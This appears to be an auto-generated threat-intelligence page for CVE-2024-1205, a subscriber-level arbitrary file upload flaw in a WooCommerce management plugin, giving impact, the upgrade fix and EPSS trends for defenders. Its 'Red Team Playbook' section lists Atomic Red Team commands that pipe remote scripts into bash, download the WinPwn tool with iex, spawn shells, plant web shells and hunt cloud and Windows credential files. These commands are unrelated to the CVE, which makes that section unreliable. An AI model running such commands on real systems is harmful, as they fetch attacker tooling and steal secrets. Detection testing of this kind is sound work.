CVE-2024-1205
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the nouvello_upload_csv_file function of the Management App for WooCommerce plugin. The affected component fails to enforce proper file extension or MIME type checks, allowing authenticated users with subscriber-level privileges or higher to upload files without restriction. This lack of input sanitization in the file upload mechanism is the technical root cause enabling exploitation.
Vulnerability Description
The Management App for WooCommerce – Order notifications, Order management, Lead management, Uptime Monitoring plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the nouvello_upload_csv_file function in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with subscriber-level authentication can upload arbitrary files to the web server, potentially including malicious scripts. This capability enables execution of unauthorized code on the server, leading to full compromise of the affected WordPress environment. The attack requires valid credentials but no user interaction beyond authentication, and can result in data breach, site defacement, or persistent backdoor installation. The CVSS vector (AV:N/AC:L/PR:L/UI:N) confirms network attack with low complexity and no user interaction but requires low privileges.
Solution
Upgrade the Management App for WooCommerce plugin to a version later than 1.2.2 where the file upload validation issue is addressed. Detailed remediation and patch instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a4219c10-9d2a-429d-9ac7-61efc02bd4cf. The vendor's source code repository shows corrected handling of file uploads in the nouvello_upload_csv_file function, ensuring proper file type validation. Applying the updated plugin version is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Management App for WooCommerce arises from inadequate file type validation within the file upload function, specifically in the nouvello_upload_csv_file method. This oversight allows authenticated users, even those with minimal privileges such as subscriber-level access, to upload arbitrary files to the server. The lack of stringent checks on the file types being uploaded means that an attacker could potentially upload malicious scripts or executables disguised as benign files. This flaw is particularly critical as it opens the door to remote code execution, enabling attackers to execute arbitrary code on the server, which can lead to full system compromise.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to upload a malicious file, such as a PHP script, which the web server would then execute. This could be done by crafting a request that bypasses the existing validation mechanisms, possibly by manipulating the file extension or MIME type. Once the file is uploaded, the attacker can access it via a web browser, triggering the execution of the malicious code. This scenario highlights the ease with which an attacker can exploit the vulnerability, especially in environments where user roles are not strictly monitored or where user access is overly permissive.
The real-world implications of this vulnerability are significant. Organizations using the Management App for WooCommerce may face severe business risks, including data breaches, loss of sensitive information, and potential downtime due to compromised systems. The ability to execute arbitrary code could allow attackers to install backdoors, exfiltrate data, or even pivot to other systems within the network. Furthermore, the reputational damage resulting from a successful attack could lead to loss of customer trust and financial repercussions, particularly if sensitive customer data is involved. The high CVSS score of 8.8 underscores the critical nature of this vulnerability and the urgent need for organizations to address it.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, they should conduct regular security audits and vulnerability assessments to identify and remediate weaknesses in their systems. Employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Additionally, organizations should enforce strict role-based access controls to limit the privileges of authenticated users, ensuring that only trusted personnel can upload files. It is also advisable to implement robust file type validation mechanisms that check both the file extension and the content type, rejecting any files that do not conform to expected formats. Finally, keeping the Management App for WooCommerce and all associated plugins updated to the latest versions will help mitigate the risk of exploitation.
In conclusion, the vulnerability within the Management App for WooCommerce presents a serious threat to the security of affected WordPress sites. The potential for arbitrary file uploads and subsequent remote code execution poses significant risks to organizations, necessitating immediate attention and action. By adopting comprehensive detection and mitigation strategies, organizations can better protect their systems and reduce the likelihood of exploitation.
CSURFACE threat intelligence has detected a modest increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-1205, reflecting a slight upward trend in the likelihood of exploitation. Although no new proof-of-concept exploits or active exploitation campaigns have been identified by our telemetry, the rising EPSS score—now approaching the 0.053 mark and within the 90th percentile—indicates growing interest or potential preparatory activity among threat actors. This subtle shift underscores the importance of maintaining vigilance, as the vulnerability’s capability to enable arbitrary file uploads by low-privileged authenticated users continues to present a high-risk vector for remote code execution. While the absence of confirmed exploitation limits immediate operational impact, the increasing EPSS suggests that exploitation attempts may become more frequent, elevating the threat level from a theoretical to a more imminent concern for defenders monitoring WordPress environments utilizing the affected plugin.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wemanage | Wemanage | All |
cpe:2.3:a:wemanage:wemanage:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-1205 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a4219c10-9d2a-429d-9ac7-61efc02bd4cf?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wemanage-app-worker/trunk/includes/class-nouvello-wemanage-worker-api-wc-ext-controller-functions.php#L982 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wemanage-app-worker/trunk/includes/class-nouvello-wemanage-worker-api-wc-ext-controller.php#L166 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3056070%40wemanage-app-worker&new=3056070%40wemanage-app-worker&sfp_email=&sfph_mail= |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3057589%40wemanage-app-worker&new=3057589%40wemanage-app-worker&sfp_email=&sfph_mail= |